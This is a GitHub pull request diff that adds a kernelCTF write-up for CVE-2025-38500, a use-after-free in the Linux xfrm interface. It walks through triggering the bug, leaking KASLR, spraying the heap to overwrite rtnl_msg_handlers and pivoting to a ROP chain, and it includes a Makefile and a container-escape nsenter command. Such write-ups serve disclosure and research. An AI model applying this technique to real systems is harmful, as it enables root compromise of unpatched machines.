Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
302 changes: 302 additions & 0 deletions pocs/linux/kernelctf/CVE-2025-38500_lts_cos_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,302 @@
# Exploit detail about CVE-2025-38500
If you want to get some base information about CVE-2025-38500, please read [vulnerability.md](./vulnerability.md) first.


## Cause anaylysis
In the function `xfrmi_changelink`, it uses `xfrmi_unlink` and `xfrmi_link` to change the linked list of a struct `xfrm_if`:
```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
struct xfrm_if *xi = netdev_priv(dev);
struct net *net = xi->net;
struct xfrm_if_parms p = {};

xfrmi_netlink_parms(data, &p);
if (!p.if_id) {
...
}

if (p.collect_md) {
...
}

xi = xfrmi_locate(net, &p);
if (!xi) {
xi = netdev_priv(dev); // ( 1 )
} else {
...
}

return xfrmi_update(xi, &p);
}

static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net;
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id);
int err;

xfrmi_unlink(xfrmn, xi);
synchronize_net();
err = xfrmi_change(xi, p);
xfrmi_link(xfrmn, xi);
netdev_state_change(xi->dev);
return err;
}

```
Tt does not consider that the obtained `struct xfrm_if *` may also be obtained from position (1), which means that the obtained `struct xfrm_if *` may be saved in `struct xfrmi_net->collect_md_xfrmi`, resulting UAF.

## How to trigger

It's easy to trigger it by following steps:

1. Create a xfrm link with `IFLA_XFRM_COLLECT_METADATA`.
2. Change the xfrm link with `IFLA_XFRM_IF_ID`.
3. Delete the xfrm link.


## Exploit

### Leak
Although this vulnerability can directly cause UAF, it is difficult to directly leak memory through this vulnerability itself (especially in the kctf mitigation environment) because we cannot directly dump the related memory.

After studying the xfrm code, I found an interesting piece of code in `xfrmi_changelink`:

```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p);
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev)
return -EEXIST;
if (xi->p.collect_md) {
NL_SET_ERR_MSG(extack,
"device can't be changed to collect_md");
return -EINVAL;
}
}
...
}
```
When checking `struct xfrm_if *` here, there are two possible return values: `-EEXIST` and `-EINVAL`. The condition for returning `-EEXIST` is `xi->dev != dev`. This means that when we can fill a `struct xfrm_if`, we can confirm whether the filled `xi->dev` pointer satisfies `xi->dev != dev` by the change in the return value.

Relying solely on this method to brute force the address would take a long time. Therefore, I also used the [prefetch timing side channel](这里加一下链接) to leak information. The steps are as follows:

1. Use prefetch timing side channel to leak kernel .text KASLR.
2. Use prefetch timing side channel to leak kernel direct mapping memory KASLR. The `struct net_device` applied for will be located in this area.
3. Use the above method to leak the specific address of a struct net_device.


### Control RIP

After we can perform a UAF on `struct xfrm_if`, we can fill the content to any address by filling it with the logic of `xfrmi_update`:

```
static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net;
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id); //(1)
int err;

xfrmi_unlink(xfrmn, xi);
synchronize_net();
err = xfrmi_change(xi, p);
xfrmi_link(xfrmn, xi); //(2)
netdev_state_change(xi->dev);
return err;
}

static inline void *net_generic(const struct net *net, unsigned int id)
{
struct net_generic *ng;
void *ptr;

rcu_read_lock();
ng = rcu_dereference(net->gen);
ptr = ng->ptr[id];
rcu_read_unlock();

return ptr;
}


static void xfrmi_link(struct xfrmi_net *xfrmn, struct xfrm_if *xi)
{
struct xfrm_if __rcu **xip = &xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)];

rcu_assign_pointer(xi->next , rtnl_dereference(*xip));
rcu_assign_pointer(*xip, xi); (3)
}

```
It can be found that from (1) obtaining `xfrmn` to writing the `xi` pointer to `&xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)](3)` in `xfrmi_link`, we only need to forge the value of `xi->net` to finally write the `xi` pointer to an arbitrary address. I chose to modify the pointer in `rtnl_msg_handlers`. This pointer will be called in the `rtnetlink_rcv_msg`:

```
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
...
link = rtnl_get_link(family, type);
if (link && link->doit)
err = link->doit(skb, nlh, extack);
...
}

static struct rtnl_link *rtnl_get_link(int protocol, int msgtype)
{
struct rtnl_link __rcu **tab;

if (protocol >= ARRAY_SIZE(rtnl_msg_handlers))
protocol = PF_UNSPEC;

tab = rcu_dereference_rtnl(rtnl_msg_handlers[protocol]);
if (!tab)
tab = rcu_dereference_rtnl(rtnl_msg_handlers[PF_UNSPEC]);

return rcu_dereference_rtnl(tab[msgtype]);
}

static struct rtnl_link __rcu *__rcu *rtnl_msg_handlers[RTNL_FAMILY_MAX + 1];
```

### Summary of steps

For LTS&COS and mitigation, the overall idea is the same, but the specific steps are slightly different

#### LTS&COS
Here's the detail steps:

1. Leak kernel .text KASLR and direct mapping memory KASLR.
2. Create xfrm link `test1` to trigger the vulnerability. Create xfrm link `test2`, `test3`, `test4` for memory forging different structures.
3. Delete xfrm link `test1`.
4. Use the method mentioned in `Leak` to leak the address of `test2`'s `struct net_device`, `test3`'s `struct net_device`, and `test4`'s `struct net_device`. The specific approach is to first forge the released `test1` struct `xfrm_if` by heap spraying, and then call `xfrmi_changelink` on the three xfrm links `test2`, `test3`, and `test4` respectively:

```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p);//(1)
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev)//(2)
return -EEXIST;
if (xi->p.collect_md) {
NL_SET_ERR_MSG(extack,
"device can't be changed to collect_md");
return -EINVAL;
}
}
...
}
```
Assuming we call `xfrmi_changelink` on `test2`, we can retrieve the repopulated `test1` at position (1), so we can compare the fake `test1->dev` and test2's `struct net_device` value at position (2).

5. Delete `test3` and pad it by heap spray. The memory of `test3` will be treated as a fake `struct xfrmi_net` in step xxx. Here is the key heap spray code:
```
delete_xfrm_link(socket, "test3"); *(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = address_of_test3_dev + NETDEV_PRIV - 8*XFRMI_NET_ID_VALUE; // xfrm_if->dev, will be treated as struct net_generic.
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_NET] = ADDR_OF_RTNL_MSG_HANDLERS + kernel_off + 8 - HASH_OF_TEST1_ID * 8; //xfrm_if->net (fake), will be treated as struct xfrm_if *; it means we want to overwrite (char *)&rtnl_msg_handlers+8
```
6. Free the heap which used to pad the memory of `test1`, and re-pad it:
```
memset(message, 0x41, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_DEV] = address_of_test2_dev; // xfrm_if->dev, pass the check of if (xi->dev != dev)
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_NET] = address_of_test3_dev + NETDEV_PRIV + OFFSET_XFRM_IF_DEV - OFFSET_NET_GEN; //fake xi->net, point to the heap of test3 which we pad before in step 3.
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_P_LINKID_AND_P_IFID] = 0x1000000000; //xfrm_if->p.link = 0 and xfrm_if->p.if_id = 1
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_P_COLLECT_MD] = 0;//xfrm_if->p.collect_md
```
7. call `xfrmi_changelink` for `test2` with the ID is `TEST1_ID`. Let's see what happens. Because we use `TEST1_ID`, we will get back the pointer of `test1` at (1). Since we successfully forged `test1->dev = test2's struct net_device` in step 6, we can bypass the check in (2) and successfully enter the function `xfrmi_update`. The pointer to `xi->net` obtained at (3) is the `address_of_test3_dev + NETDEV_PRIV - OFFSET_NET_GEN` we forged in step 6. In this way, the `xfrmn` obtained at (4) will point to the `ADDR_OF_RTNL_MSG_HANDLERS + kernel_off + 8 - HASH_OF_TEST1_ID * 8` we filled in step 5. Finally, at position 5, we will modify `&rtnl_msg_handlers[1]`
```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p); //(1)
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev) //(2)
return -EEXIST;
}
...
return xfrmi_update(xi, &p);
}

static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net; //(3)
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id); //(4)
...
xfrmi_link(xfrmn, xi);
...
}

static void xfrmi_link(struct xfrmi_net *xfrmn, struct xfrm_if *xi)
{
struct xfrm_if __rcu **xip = &xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)];

rcu_assign_pointer(xi->next , rtnl_dereference(*xip));
rcu_assign_pointer(*xip, xi); //(5)
}
```
So based on the method in `Crontrol RIP`, it finally overwrite rtnl_msg_handlers[1] = struct net_device of test1 + NETDEV_PRIV

8. Now rtnl_msg_handlers[1] = struct net_device of test1 + NETDEV_PRIV, we only need to forge a legitimate rtnl_msg_handlers[1] to hijack the control flow:

First, free the memory used to fill the `test1` heap with heap spray in step 6. Then re-pad it:
```
//Heap spray to re-pad it.
memset(message, 0x41, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = address_of_test3_dev + NETDEV_PRIV; //xi->dev, will be threated as rtnl_msg_handlers[1][1]
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_P_LINKID_AND_P_IFID] = 0x1000000000; //xfrm_if->p.link = 0 and xfrm_if->p.if_id = 1
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_P_COLLECT_MD] = 1;//xfrm_if->p.collect_md
```
Next, free the memory used to fill the `test3` heap with heap spray in step 5. Then re-pad it:
```
memset(message, 0, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = FIRST_GADGET + kernel_off ; // xfrm_if->dev, will be treated as struct rtnl_link->doit leave ; pop rbx ; pop rbp ; mov eax, ecx ; pop r12 ; pop r13 ; ret
```

9. Finally, call rtnl_msg_handlers[1][1]->do_it and jump to ROP.

#### Migrate
The only difference between miigrate target and lts&cos is how to fill the released `struct net_device` with heap spray. Due to the special nature of migrate, we cannot use msg_msg to fill it. I found another structure similar to `struct xfrm_if`, `struct vlan_dev_priv`:

```
struct vlan_dev_priv {
unsigned int nr_ingress_mappings;
u32 ingress_priority_map[8];
unsigned int nr_egress_mappings;
struct vlan_priority_tci_mapping *egress_priority_map[16];

__be16 vlan_proto;
u16 vlan_id;
u16 flags;

struct net_device *real_dev;
netdevice_tracker dev_tracker;

unsigned char real_dev_addr[ETH_ALEN];

struct proc_dir_entry *dent;
struct vlan_pcpu_stats __percpu *vlan_pcpu_stats;
#ifdef CONFIG_NET_POLL_CONTROLLER
struct netpoll *netpoll;
#endif
};
```

We can use `vlan_changelink` and `vlan_newlink` to spray and modify the memory of `struct xfrm_if`.


Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# Vulneribility
In the function `xfrmi_changelink`, when using `xfrmi_unlink` and `xfrmi_link` to change the linked list of a struct `xfrm_if`, the pointer that may be left in `xfrmn->collect_md_xfrmi` is not cleared

## Requirements to trigger the vulnerability
- Kernel configuration: `CONFIG_XFRM ` and `CONFIG_XFRM_INTERFACE`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit abc340b38ba25cd6c7aa2c0bd9150d30738c82d0](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/xfrm/xfrm_interface.c?id=abc340b38ba25cd6c7aa2c0bd9150d30738c82d0)

## Commit which fixed the vulnerability
- [commit bfebdb85496e1da21d3cf05de099210915c3e706](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=bfebdb85496e1da21d3cf05de099210915c3e706))

## Affected kernel versions
- 6.6-rc1 and later
- 6.1-rc1 and later

## Affected component, subsystem
- xfrm

## Cause
- Use after free
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
.PHONY: clean


all: exploit

prerequisites:
sudo apt-get install libnl-nf-3-dev

exploit: exploit.c
# the nl protocol library suite contains multiple libs
# we want "libnl" (core) and "libnl-gnl" (generic netlink extension)
# "-3" is the version (latest 3.x)

# to get -I and -l: execute '$(pkg-config --cflags --libs libnl-genl-3.0)'
gcc -o $@ $+ -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static

real_exploit: exploit.c
gcc -o $@ $+ -DKASLR_BYPASS_INTEL=1 -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static

clean:
rm -rf exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-109-17800.519.40
Run command "nsenter --target 1 -m -p" after run the poc.
Binary file not shown.
Loading